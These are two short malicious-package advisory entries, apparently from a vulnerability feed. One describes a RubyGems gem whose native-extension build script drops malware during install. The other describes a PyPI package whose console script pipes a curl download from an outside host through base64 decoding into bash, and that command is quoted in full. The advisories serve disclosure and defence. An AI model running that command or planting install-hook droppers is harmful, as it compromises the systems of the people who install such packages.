Malicious code in kecack (RubyGems)

Source: amazon-inspector f17f86c78cebe16698b84a8ab5a9b87865c63a890588c23fbe1d2638c4501647 The gem's native extension build script ext/.../extconf.rb executes during gem install and contains a dropper rather than a real native build. Before createmakefile, it enumerates environment indicators to...

Malicious code in m-at-star-tools (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2934ab77e0615ccddf2cf336b023659bafca2fe94bbf2f78e4c0d2a2ba1d7bf2 The package's sole consolescript m0scan m0scan/main.py:6-7 executes curl -sL https://mspy.qzz.io/M0scan | base64 -d | bash, fetching an opaque...